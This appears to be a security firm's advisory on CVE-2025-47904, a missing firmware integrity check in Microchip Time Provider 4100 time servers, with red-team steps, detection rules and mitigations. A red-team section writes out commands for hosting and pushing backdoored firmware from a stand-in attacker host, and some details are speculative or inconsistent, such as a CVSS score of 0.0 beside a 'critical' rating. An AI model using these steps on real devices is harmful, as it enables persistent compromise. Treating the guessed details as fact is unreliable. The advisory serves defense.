CVE-2025-47904

Executive Summary

CVE-2025-47904 is a critical vulnerability in Microchip Time Provider 4100 devices, specifically a "Download of Code Without Integrity Check" flaw. This allows an attacker with local or adjacent network access to perform a malicious manual software update, effectively bypassing code integrity verification. The vulnerability affects all firmware versions before 2.5. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the lack of integrity checks poses a severe risk to time synchronization infrastructure, potentially enabling persistent backdoors or denial-of-service attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware appliance (Microchip Time Provider 4100). Supply chain risks include compromised firmware updates distributed through unofficial channels.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD assigned, likely due to incomplete data)
• CVSS Vector: UNKNOWN
• Attack Vector (AV): Adjacent Network (assumed, based on manual update requirement)
• Attack Complexity (AC): Low
• Privileges Required (PR): Low (requires administrative access to initiate update)
• User Interaction (UI): Required (manual update process)
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Threat Level: High. Although no active exploitation is reported, the vulnerability allows complete compromise of the device's firmware integrity.

Deep Dive & Mechanics

The Microchip Time Provider 4100 is a network time server appliance. The vulnerability lies in the firmware update mechanism. The device does not cryptographically verify the integrity or authenticity of downloaded firmware updates before applying them. An attacker who can intercept or spoof the update source (e.g., via man-in-the-middle on the local network) can inject malicious firmware. The update process is manual, requiring administrative access, but once initiated, the device blindly applies the provided code.

Root Cause: Missing integrity check (CWE-494) in the firmware update routine. The device likely downloads a binary blob and writes it to flash without verifying a digital signature or checksum.

Attack Scenario:

1. Attacker gains administrative credentials (e.g., via default passwords, phishing, or other vulnerabilities).
2. Attacker sets up a rogue update server or modifies DNS to point to a malicious server.
3. Attacker initiates a manual firmware update from the device's web interface or CLI.
4. Device downloads and installs the malicious firmware, giving the attacker full control.

Vulnerable vs. Patched Code

No code snippets are publicly available. However, the patched version (2.5) likely introduces cryptographic signature verification (e.g., RSA or ECDSA) for firmware images. The vulnerable code would look similar to:

// Vulnerable pseudo-code
void apply_firmware_update(char *url) {
    download_file(url, "/tmp/firmware.bin");
    // No integrity check
    flash_write("/tmp/firmware.bin");
}

Patched version:

// Patched pseudo-code
void apply_firmware_update(char *url) {
    download_file(url, "/tmp/firmware.bin");
    if (!verify_signature("/tmp/firmware.bin", public_key)) {
        log_error("Firmware signature invalid");
        return;
    }
    flash_write("/tmp/firmware.bin");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to the Time Provider 4100 (e.g., default credentials admin:admin).
• Network access to the device (adjacent or local).
• Ability to host a malicious firmware image.

Steps:

1. Craft Malicious Firmware: Modify a legitimate firmware binary to include a backdoor (e.g., reverse shell, persistent SSH key).
2. Host Malicious Update: Set up a web server (e.g., python3 -m http.server 80) serving the malicious firmware.
3. Trigger Update: Log into the device's web interface, navigate to "Firmware Update," enter the URL of the malicious firmware, and apply.
4. Post-Exploitation: The device reboots with the backdoored firmware, granting persistent access.

Example Command (assuming device CLI):

# On attacker machine
python3 -m http.server 80 --directory /malicious_firmware/

# On device (via SSH or console)
firmware-update http://192.168.1.100/malicious.bin

Blue Team

Detection:

• Monitor for unexpected firmware update requests from the device to external IPs.
• Alert on administrative logins from unusual IPs or times.
• Check for unsigned firmware images in network traffic (e.g., via IDS/IPS).

Hunting:

• Search logs for "firmware update initiated" or "update applied" events.
• Verify firmware hash against known good values (e.g., SHA256 of official v2.5).
• Use network flow analysis to detect large outbound transfers from the device.

Mitigation:

• Immediately upgrade to firmware version 2.5.
• Restrict administrative access to trusted IPs only.
• Disable manual firmware updates if not required.
• Implement network segmentation for time servers.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS connections from the device to unknown IPs on port 80/443.
  • DNS queries for suspicious domains (e.g., update.malicious.com).
• File:
  • Firmware image with unexpected hash (e.g., not matching official v2.5 SHA256).
  • Presence of /tmp/firmware.bin or similar temporary files.
• Behavior:
  • Device reboots without scheduled maintenance.
  • Unexpected SSH keys or accounts added.
  • System logs showing "firmware update applied" outside of maintenance windows.

Detection Engineering

YARA Rule

rule CVE_2025_47904_Malicious_Firmware {
    meta:
        description = "Detects malicious firmware images for Microchip Time Provider 4100"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47904"
    strings:
        $magic = { 4D 43 48 50 } // "MCHP" magic bytes (example)
        $suspicious = "backdoor" nocase
        $unsigned = "no_signature" nocase
    condition:
        $magic at 0 and ($suspicious or $unsigned)
}

Sigma Rule

title: Microchip Time Provider 4100 Firmware Update Anomaly
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized firmware update attempts on Microchip Time Provider 4100
author: Valters IT
date: 2025-04-10
logsource:
    product: microchip_time_provider
    service: firmware_update
detection:
    selection:
        EventID: 1001
        UpdateSource: "http://*"
        User: "admin"
    condition: selection
falsepositives:
    - Legitimate administrative updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47904 - Microchip Time Provider 4100 Firmware Download"; flow:to_server; content:"GET /firmware.bin"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to firmware version 2.5 or later. Contact Microchip support for the update.
2. Compensating Controls:
   • Restrict administrative access via ACLs (e.g., only allow from management VLAN).
   • Use a dedicated, isolated network for time servers.
   • Enable logging and alerting on firmware update events.
3. Long-term:
   • Implement code signing for all firmware updates.
   • Conduct regular security audits of network appliances.
   • Monitor vendor advisories for future patches.

Valters IT
Securing critical infrastructure through proactive threat intelligence.